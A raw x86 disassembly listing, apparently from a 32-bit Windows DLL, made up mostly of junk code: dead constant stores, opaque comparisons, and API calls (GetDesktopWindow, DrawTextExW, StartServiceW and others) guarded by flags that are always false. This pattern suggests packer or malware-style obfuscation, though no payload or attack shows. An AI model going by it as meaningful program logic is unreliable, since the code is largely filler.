mov ecx, dword [ebp - 0x234]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
xor ecx, ecx
cmp eax, ebx
mov eax, dword [ebp - 0x234]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0xfffffff8
cmp dword [ebp - 0x20], 0xffffffeb
je 0x10031b92
xor eax, eax
mov edi, 0x9e4a0435
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x38], 0xb5d6
mov dword [ebp - 0x34], eax
jmp 0x10031ac7
mov dword [ebp - 0x48], 0xd9236f91
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xa9fc5c2d
cmp dword [ebp - 0x24], eax
je 0x10031a95
mov dword [ebp - 0x28], 0xa3b
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xfffffffe
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
setle dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x40], eax
jle 0x10031a3c
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x234], eax
je 0x10031a3e
mov esi, ebx
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
sub edx, esi
cmp edx, eax
mov eax, dword [ebp - 0x24]
setg cl
cmp edi, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x234]
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
jmp 0x10031aa9
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031aab
push 0x1061
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031ac4
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xc
jne 0x100319c0
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], eax
jl 0x10031b79
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], eax
jl 0x10031b1e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10031b19
push eax
push 0x67c
push eax
push 0x933
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x10031aed
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x23c], 0
jne 0x10031b61
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x23c]
cmp eax, ebx
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x23c]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x234]
je 0x10031b6a
cmp dword [ebp - 0x24], eax
je 0x10031b6a
jmp 0x10031b63
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10031b6a
mov eax, ebx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x34]
push 0
pop eax
jns 0x10031ae1
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffeb
jne 0x10031995
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov esi, dword [sym.imp.USER32.dll_GetDlgItemTextW]
mov dword [ebp - 0x38], 0xecdc0f1f
mov dword [ebp - 0x38], 0x38140a97
mov dword [ebp - 0x48], 0x9ed080c1
mov dword [ebp - 0x3c], 0x9978f3c
mov dword [ebp - 0x3c], 0x2a3b3f36
push 8
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xb055cc25
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x9b64fda7
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], 0xe6aa1654
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], 0x18d9dce
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x509e71b3
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x14], 0xffff
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x28], 0x3734bd47
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10031c3a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc30], 0xfffffffc
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10031c21
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10031c50
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1f4], 0xfff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10031c3f
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0xc24], eax
jne 0x10031c69
mov ecx, eax
cmp dword [ebp - 0x40], eax
je 0x10031c6b
mov ecx, ebx
xor eax, eax
cmp ecx, 0x4e785c2f
setge al
xor edx, edx
sub eax, dword [ebp - 0x40]
add eax, 0x4484f75d
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
cmp eax, 0xac39
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1f4]
setge cl
dec dword [ebp - 0x1f4]
cmp eax, ecx
jg 0x10031cb2
mov eax, ebx
jmp 0x10031cb4
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10031cc5
mov edx, eax
cmp dword [ebp - 0x48], eax
je 0x10031cc7
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setge dl
sub edx, 0x20d005ca
imul edx, dword [ebp - 0x14]
inc dword [ebp - 0x14]
cmp edx, 0x4f3ac16b
jl 0x10031cf8
mov eax, ebx
jmp 0x10031cfa
xor eax, eax
mov dword [ebp - 0x38], eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
imul eax, dword [ebp - 0x20], 0xd94b
xor ecx, ecx
sub eax, edx
sub eax, dword [ebp - 0x1c]
cmp eax, 0x5ce96b77
setge cl
xor eax, eax
cmp ecx, 5
setg al
add eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x100324c1
mov dword [ebp - 0x3c], 0xf2fb5a5e
xor eax, eax
mov dword [ebp - 0x40], 0xeda5
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10031d6f
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xd10], 0x13dd33a4
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x10031d56
xor eax, eax
push 3
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], ecx
jge 0x10031d92
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x484], 8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10031d7a
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jge 0x10031db2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe04], 0x94b2ab76
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10031d9a
xor eax, eax
xor edi, edi
mov dword [ebp - 0x484], eax
inc edi
jmp 0x10031ddc
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], 0xc5735e4b
cmp dword [ebp - 0x480], eax
jne 0x10031de4
dec dword [ebp - 0x40]
inc dword [ebp - 0x484]
cmp dword [ebp - 0x484], edi
jle 0x10031dbd
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x24], 0xc25b054d
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10031e2b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1dc], 0x14ffd814
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10031e13
xor eax, eax
mov edx, edi
cmp dword [ebp - 0x34], eax
jne 0x10031e34
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setne dl
cmp edx, dword [ebp - 0x34]
jle 0x10031e5d
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10031e5f
mov eax, edi
cmp edi, eax
sbb eax, eax
xor edx, edx
inc eax
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x1dc], edx
mov eax, dword [ebp - 0x20]
sub edx, eax
mov ecx, dword [ebp - 0x20]
sub edx, 0x375c9589
neg edx
sbb edx, edx
xor ebx, ebx
neg edx
sub ecx, edx
imul ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne bl
xor edx, edx
imul ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
cmp ebx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x24]
setg cl
sub edx, ecx
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
imul ecx, dword [ebp - 0x24]
test ecx, ecx
jne 0x10031f09
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov ecx, edi
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x24], ecx
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x28], ecx
push 4
pop edx
mov dword [ebp - 0x40], edx
push 0xfffffffffffffff8
pop ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x8e356ec7
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0xd5d08818
mov dword [ebp - 0x3c], 0x30f888c5
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x7f039d3c
mov dword [ebp - 0x3c], 0x6749efed
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x3c], 0x72b416c2
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x4d464468
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edx
jge 0x10031f8d
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x868], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10031f79
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x10031fa9
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2dc], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x10031f95
xor eax, eax
push 3
mov dword [ebp - 0x30], eax
pop edx
cmp dword [ebp - 0x30], edx
jge 0x10031fcc
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe1c], 9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10031fb4
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10031fe2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x67c], 0x74c1
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10031fd1
mov ecx, dword [ebp - 0x864]
xor edx, edx
mov eax, dword [ebp - 0x85c]
cmp ecx, eax
setne dl
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x868]
setl dl
xor ebx, ebx
cmp edx, 6
setle bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor eax, eax
cmp ecx, 0xed890fc5
je 0x10032049
mov ecx, edi
cmp dword [ebp - 0x864], eax
jne 0x1003204b
mov ecx, eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
push 4
sub eax, ecx
neg eax
pop ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x100320c2
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x99b96bc7
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x100320b4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf88], 0xc2e8b5a4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003209c
xor eax, eax
dec dword [ebp - 0x678]
inc dword [ebp - 0x4c]
dec dword [ebp - 0x28]
jns 0x10032069
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x28], 0xc0bf90a2
mov dword [ebp - 0x20], 0x47adf1ad
push 2
mov dword [ebp - 0x34], 0xfffffff6
pop ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], 0x7179
push 3
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10032106
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe34], 0x2aeafd71
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100320f5
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10032121
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
xor eax, eax
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], eax
je 0x100321de
mov dword [ebp - 0x48], 0xbdf7
xor ebx, ebx
mov dword [ebp - 0x14], 0x5beac3ef
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
setg bl
xor edx, edx
cmp ecx, eax
push 2
setle dl
xor eax, eax
cmp edx, ebx
pop ebx
setne al
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x48]
cmp eax, 0xfffffff9
mov eax, dword [ebp - 0x48]
setl cl
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax
imul ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov edx, 0xd752
setg cl
sub edx, ecx
xor ecx, ecx
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp edx, eax
setg cl
mov dword [ebp - 0x24], ecx
jmp 0x100321ee
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100321f0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x10032261
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x40], 0xe3674dcc
mov dword [ebp - 0x38], 0x1863d476
mov dword [ebp - 0x18], eax
jmp 0x1003221f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa5c], 0xc4999369
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003220e
mov eax, dword [ebp - 0x44]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x10032232
mov ecx, edi
mov eax, dword [ebp - 0x48]
imul eax, ecx
sub eax, dword [ebp - 0x34]
jne 0x10032242
cmp dword [ebp - 0x48], eax
je 0x10032244
mov eax, edi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], ebx
jle 0x100321f8
cmp byte [ebp - 0x4d], 0
je 0x100323ce
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x24], 0xb68dee21
mov dword [ebp - 0x48], 0x97515801
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x44], 0x6971db95
mov dword [ebp - 0x18], eax
jmp 0x100322a0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x924], 0xab6ac39b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003228f
mov eax, dword [ebp - 0x24]
mov edx, edi
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
sub edx, eax
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, 0x4207647f
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x48], ecx
mov ecx, 0xfff8
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x24]
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax, 0xf23e
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xb
jne 0x100323ba
mov dword [ebp - 0x38], 0xdd5376e3
push 3
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10032337
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x490], 0xf25d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032326
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x490]
mov eax, dword [ebp - 0x490]
mov eax, dword [ebp - 0x48c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp eax, 0x5b7518d
mov eax, dword [ebp - 0x48c]
setle cl
xor edx, edx
cmp ecx, 0xffffffff
push 0
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle bl
xor ecx, ecx
cmp ebx, eax
pop eax
sete cl
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xb
je 0x10032310
push 2
pop ebx
push 0x164a
push eax
push 0xcff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call esi
push 3
pop esi
mov dword [ebp - 0x3c], 0x51ad386c
xor eax, eax
mov dword [ebp - 0x3c], 0x5cd53bc6
mov dword [ebp - 0x40], 0x1320f2d6
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x10032408
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xd58], 0xae9714a0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x100323f0
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x10032424
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe4c], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10032410
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], esi
jge 0x10032444
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xe64], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x1003242c
xor eax, eax
dec dword [ebp - 0x40]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032468
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
xor eax, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10032495
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3bc], 0xd6923607
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1003247d
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x100324b5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xae0], 0xa788afb1
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1003249d
xor eax, eax
mov dword [ebp - 0x28], 0xfffffffb
jmp 0x10032cfb
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop esi
cmp dword [ebp - 0x18], esi
jge 0x100324e2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x538], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100324ce
xor eax, eax
mov dword [ebp - 0x538], 0xffffffe2
jmp 0x10032503
cmp byte [ebp - 0xd], 0
je 0x100324fd
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
inc dword [ebp - 0x538]
cmp dword [ebp - 0x538], 0xfffffff1
mov byte [ebp - 0xd], al
jge 0x100324ee
cmp byte [ebp - 0xd], 0
je 0x10032520
push eax
push 0x1570
push eax
call edi
xor eax, eax
xor edi, edi
mov dword [ebp - 0x14], 0x4b5e
inc edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x24], 0xe700d62e
push 2
mov dword [ebp - 0x2c], eax
pop ebx
cmp dword [ebp - 0x2c], ebx
jge 0x10032557
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1ac], 0x13dd33a4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1003253f
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x10032577
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1f0], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1003255f
xor eax, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x2c], eax
jl 0x10032738
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x38], 0x18177c4
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x30], eax
jl 0x1003262b
mov dword [ebp - 0x44], 0x76fda024
xor edx, edx
mov dword [ebp - 0x40], 0xfffffffb
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1ac], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x30]
sub eax, 0x5fb57a67
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
mov eax, dword [ebp - 0x44]
sbb edx, edx
xor ecx, ecx
inc edx
neg edx
cmp eax, edx
setl cl
add ecx, dword [ebp - 0x30]
jne 0x10032614
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1f0], eax
dec dword [ebp - 0x30]
jns 0x1003259d
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10032726
mov dword [ebp - 0x40], 0xe4fcd58f
mov dword [ebp - 0x38], 0x6f9132f4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x10032723
mov dword [ebp - 0x28], 0xbc4433ac
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jg 0x10032708
jmp 0x10032664
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffb
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032682
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x1ac]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1ac], ecx
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1f0]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
imul ecx, ecx, 0xffff
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
mov dword [ebp + eax*4 - 0x1f0], edx
xor eax, eax
test edx, edx
je 0x100326d5
mov ecx, edi
cmp dword [ebp - 0x30], eax
jne 0x100326d7
mov ecx, eax
xor eax, eax
cmp ecx, 0xfffffffb
setge al
xor edx, edx
imul eax, eax, 0xe42
cmp eax, 0xfce0
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x10032662
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x1ac]
mov dword [ebp - 0x38], eax
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1003264d
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x10032633
dec dword [ebp - 0x2c]
jns 0x10032583
mov dword [ebp - 0x28], 0x4b2e809b
mov dword [ebp - 0x24], 0xfd41e559
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x24], eax
je 0x10032823
mov dword [ebp - 0x2c], 0xb4c8f0d0
